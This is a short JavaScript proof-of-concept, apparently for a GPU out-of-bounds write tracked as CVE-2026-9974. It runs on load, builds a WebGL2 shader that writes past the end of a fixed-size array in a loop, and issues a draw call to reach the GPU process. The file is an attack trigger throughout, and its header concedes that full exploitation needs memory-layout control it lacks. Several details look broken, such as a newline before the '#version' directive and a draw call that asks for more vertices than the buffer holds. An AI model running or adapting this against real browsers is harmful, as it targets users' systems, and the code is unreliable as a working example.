/*
* Conceptual PoC for CVE-2026-9974 (GPU Out of Bounds Write)
* This script attempts to trigger the vulnerability via WebGL.
* Note: Actual exploitation requires specific memory layout control.
*/
function triggerVuln() {
const canvas = document.createElement('canvas');
const gl = canvas.getContext('webgl2');
if (!gl) {
console.log('[!] WebGL2 not supported');
return;
}
// Malicious vertex shader source designed to confuse GPU compiler
const vsSource = `
#version 300 es
layout(location=0) in vec4 position;
void main() {
// Attempt to trigger OOB access via loop unrolling or array indexing
float arr[10];
for(int i=0; i<20; i++) { // Intentional OOB index
arr[i] = float(i);
}
gl_Position = position;
}
`;
const fsSource = `
#version 300 es
precision highp float;
out vec4 fragColor;
void main() {
fragColor = vec4(1.0, 0.0, 0.0, 1.0);
}
`;
function createShader(gl, type, source) {
const shader = gl.createShader(type);
gl.shaderSource(shader, source);
gl.compileShader(shader);
if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
console.log('[!] Shader compile error:', gl.getShaderInfoLog(shader));
gl.deleteShader(shader);
return null;
}
return shader;
}
const vertexShader = createShader(gl, gl.VERTEX_SHADER, vsSource);
const fragmentShader = createShader(gl, gl.FRAGMENT_SHADER, fsSource);
const program = gl.createProgram();
gl.attachShader(program, vertexShader);
gl.attachShader(program, fragmentShader);
gl.linkProgram(program);
if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
console.log('[!] Program link error:', gl.getProgramInfoLog(program));
return;
}
gl.useProgram(program);
// Setup buffer with potentially malicious size
const buffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0,0,0,0, 1,1,1,1]), gl.STATIC_DRAW);
const positionLoc = gl.getAttribLocation(program, 'position');
gl.enableVertexAttribArray(positionLoc);
gl.vertexAttribPointer(positionLoc, 4, gl.FLOAT, false, 0, 0);
// Trigger draw call to execute vulnerable shader code in GPU process
console.log('[*] Triggering GPU draw call...');
gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4);
}
triggerVuln();